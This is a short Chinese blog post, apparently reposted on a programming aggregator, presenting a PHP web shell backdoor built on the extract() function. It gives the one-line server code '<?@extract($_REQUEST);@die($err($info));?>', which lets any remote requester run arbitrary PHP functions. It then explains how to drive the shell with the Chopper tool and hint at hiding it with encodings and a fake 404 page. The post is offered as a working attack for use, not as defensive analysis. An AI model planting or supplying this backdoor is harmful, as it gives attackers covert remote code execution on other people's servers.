概述
PHP extract 函数后门
Auth:winger[L4F][CGH]
Date: 2014-02-24
今天介绍的是一种新的PHP后门: extract 函数后门.
复制代码
代码如下:extract
(PHP 4, PHP 5)
extract — 从数组中将变量导入到当前的符号表
int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函数用来将变量从数组中导入到当前的符号表中.
具体应用:
1: PHP中extract函数各种用法介绍
2: PHP extract() 函数
3: 官方文档
4: php-backdoors-hidden-with-clever-use-of-extract-function
接下来操刀上马:)
服务端代码:
复制代码
代码如下:<?@extract($_REQUEST);@die($err($info));?>
菜刀使用附加数据提交功能,"编辑shell-->配置",填入下面的内容:
最后加上各种编码,标签和404....你懂得( ‵▽′)ψ
最后
以上就是幽默冬瓜为你收集整理的ODOR1–PHP extract 后门使用方法的全部内容，希望文章能够帮你解决ODOR1–PHP extract 后门使用方法所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
发表评论 取消回复